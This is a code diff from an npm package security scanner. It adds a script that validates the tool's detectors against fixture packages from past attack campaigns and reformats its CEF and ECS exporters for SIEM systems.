28
|
+
const response = await fetch(url, { signal: AbortSignal.timeout(5000) });
|
|
29
|
+
if (!response.ok) {
|
|
30
|
+
return null;
|
|
31
|
+
}
|
|
32
|
+
return await response.json();
|
|
33
|
+
} catch {
|
|
34
|
+
console.warn(` [WARN] Registry fetch failed for ${pkgName}@${version}; using fixture data`);
|
|
35
|
+
return null;
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function constructRegistryMeta(pkg, liveMeta) {
|
|
40
|
+
if (liveMeta) {
|
|
41
|
+
return liveMeta;
|
|
42
|
+
}
|
|
43
|
+
if (pkg.mockRegistryMeta) {
|
|
44
|
+
return pkg.mockRegistryMeta;
|
|
45
|
+
}
|
|
46
|
+
return null;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
function constructPkgJson(pkg) {
|
|
50
|
+
const base = { name: pkg.package, version: pkg.version };
|
|
51
|
+
if (pkg.mockPackageJson) {
|
|
52
|
+
return { ...base, ...pkg.mockPackageJson };
|
|
53
|
+
}
|
|
54
|
+
return base;
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
async function validateDetectors(campaigns, outputFile) {
|
|
58
|
+
const allResults = [];
|
|
59
|
+
|
|
60
|
+
const campaignKeys = campaigns === 'all' ? Object.keys(CAMPAIGN_FIXTURES) : [campaigns];
|
|
61
|
+
|
|
62
|
+
for (const campaignKey of campaignKeys) {
|
|
63
|
+
const fixturePath = CAMPAIGN_FIXTURES[campaignKey];
|
|
64
|
+
if (!fixturePath) {
|
|
65
|
+
console.error(`[ERROR] Unknown campaign: ${campaignKey}`);
|
|
66
|
+
continue;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
console.log(`\n[${new Date().toISOString()}] Validating ${campaignKey}...`);
|
|
70
|
+
const packages = loadFixture(fixturePath);
|
|
71
|
+
console.log(` Loaded ${packages.length} packages from fixture`);
|
|
72
|
+
|
|
73
|
+
for (const pkg of packages) {
|
|
74
|
+
try {
|
|
75
|
+
const pkgJson = constructPkgJson(pkg);
|
|
76
|
+
const liveMeta = await fetchNpmMetadata(pkg.package, pkg.version);
|
|
77
|
+
const registryMeta = constructRegistryMeta(pkg, liveMeta);
|
|
78
|
+
|
|
79
|
+
const findings = await runAll(pkgJson, [], registryMeta, []);
|
|
80
|
+
|
|
81
|
+
const detectedIds = [...new Set(findings.map((f) => f.id))];
|
|
82
|
+
|
|
83
|
+
const result = {
|
|
84
|
+
package: pkg.package,
|
|
85
|
+
version: pkg.version,
|
|
86
|
+
campaign_id: pkg.campaign_id,
|
|
87
|
+
campaign_name: pkg.campaign_name,
|
|
88
|
+
attack_vector: pkg.attack_vector,
|
|
89
|
+
expected_detectors: pkg.expected_detectors,
|
|
90
|
+
detected_detectors: detectedIds,
|
|
91
|
+
detection_count: findings.length,
|
|
92
|
+
detections: findings.map((f) => ({
|
|
93
|
+
id: f.id,
|
|
94
|
+
detector: f.detector,
|
|
95
|
+
severity: f.severity,
|
|
96
|
+
confidence: f.confidence,
|
|
97
|
+
confidenceScore: f.confidenceScore,
|
|
98
|
+
subtype: f.subtype,
|
|
99
|
+
message: f.message,
|
|
100
|
+
})),
|
|
101
|
+
metadata_available: !!liveMeta,
|
|
102
|
+
registry_source: liveMeta ? 'live' : 'fixture',
|
|
103
|
+
timestamp: new Date().toISOString(),
|
|
104
|
+
};
|
|
105
|
+
|
|
106
|
+
allResults.push(result);
|
|
107
|
+
|
|
108
|
+
const expectedCount = pkg.expected_detectors.length;
|
|
109
|
+
const hitCount = detectedIds.filter((id) => pkg.expected_detectors.includes(id)).length;
|
|
110
|
+
console.log(
|
|
111
|
+
` ${hitCount > 0 ? '✓' : '✗'} ${pkg.package}@${pkg.version}: ${hitCount}/${expectedCount} expected detectors fired`
|
|
112
|
+
);
|
|
113
|
+
for (const f of findings) {
|
|
114
|
+
console.log(` ${f.id} (${f.confidenceScore}%, ${f.severity})`);
|
|
115
|
+
}
|
|
116
|
+
} catch (err) {
|
|
117
|
+
console.error(` ✗ ${pkg.package}@${pkg.version}: ${err.message}`);
|
|
118
|
+
allResults.push({
|
|
119
|
+
package: pkg.package,
|
|
120
|
+
version: pkg.version,
|
|
121
|
+
campaign_id: pkg.campaign_id,
|
|
122
|
+
error: err.message,
|
|
123
|
+
timestamp: new Date().toISOString(),
|
|
124
|
+
});
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
if (outputFile) {
|
|
130
|
+
const lines = allResults.map((r) => JSON.stringify(r)).join('\n') + '\n';
|
|
131
|
+
writeFileSync(outputFile, lines, 'utf-8');
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
const processed = allResults.filter((r) => !r.error).length;
|
|
135
|
+
const errors = allResults.filter((r) => r.error).length;
|
|
136
|
+
console.log(`\n[SUMMARY] Processed ${processed} packages, ${errors} errors`);
|
|
137
|
+
console.log(`[INFO] Results written to ${outputFile}`);
|
|
138
|
+
|
|
139
|
+
return allResults;
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
const args = process.argv.slice(2);
|
|
143
|
+
const campaignArg = args[0] || 'all';
|
|
144
|
+
const outputArg = args[1] ? resolve(args[1]) : resolve('validation-results.jsonl');
|
|
145
|
+
|
|
146
|
+
validateDetectors(campaignArg, outputArg)
|
|
147
|
+
.then(() => process.exit(0))
|
|
148
|
+
.catch((err) => {
|
|
149
|
+
console.error(`[ERROR] ${err.message}`);
|
|
150
|
+
process.exit(1);
|
|
151
|
+
});
|
package/backend/siem/cef.js
CHANGED
|
@@ -1,33 +1,35 @@
|
|
|
1
1
|
export function generateCEF(scans) {
|
|
2
2
|
const entries = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
const desc = (f.description || f.title || '').replace(/\\/g, '\\\\').replace(/\|/g, '\\|');
|
|
7
7
|
const sevMap = { critical: 10, high: 8, medium: 5, low: 2 };
|
|
8
8
|
const sev = sevMap[f.severity] || 5;
|
|
9
9
|
const pkgName = (s.package_name || 'unknown').replace(/\|/g, '\\|');
|
|
10
10
|
const pkgVer = (s.version || '').replace(/\|/g, '\\|');
|
|
11
|
-
entries.push(
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
11
|
+
entries.push(
|
|
12
|
+
[
|
|
13
|
+
'CEF:0',
|
|
14
|
+
'npm-scan',
|
|
15
|
+
'npm-scan',
|
|
16
|
+
process.env.npm_package_version || '0.4.0',
|
|
17
|
+
atkId,
|
|
18
|
+
desc,
|
|
19
|
+
String(sev),
|
|
20
|
+
`suser=${pkgName} ${pkgVer}`,
|
|
21
|
+
`msg=${desc}`,
|
|
22
|
+
`cs1=${atkId}`,
|
|
23
|
+
`cs1Label=atkId`,
|
|
24
|
+
`cs2=${f.severity}`,
|
|
25
|
+
`cs2Label=severity`,
|
|
26
|
+
`cs3=${pkgName}`,
|
|
27
|
+
`cs3Label=package`,
|
|
28
|
+
`cs4=${pkgVer}`,
|
|
29
|
+
`cs4Label=version`,
|
|
30
|
+
].join('|')
|
|
31
|
+
);
|
|
30
32
|
}
|
|
31
33
|
}
|
|
32
34
|
return entries.join('\n');
|
|
33
|
-
}
|
|
35
|
+
}
|
package/backend/siem/ecs.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export function generateECS(scans) {
|
|
2
2
|
const events = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
const sevMap = { critical: 100, high: 80, medium: 50, low: 20 };
|
|
7
7
|
events.push({
|
|
@@ -37,5 +37,5 @@ export function generateECS(scans) {
|
|
|
37
37
|
});
|
|
38
38
|
}
|
|
39
39
|
}
|
|
40
|
-
return events.map(e => JSON.stringify(e)).join('\n');
|
|
41
|
-
}
|
|
40
|
+
return events.map((e) => JSON.stringify(e)).join('\n');
|
|
41
|
+
}
|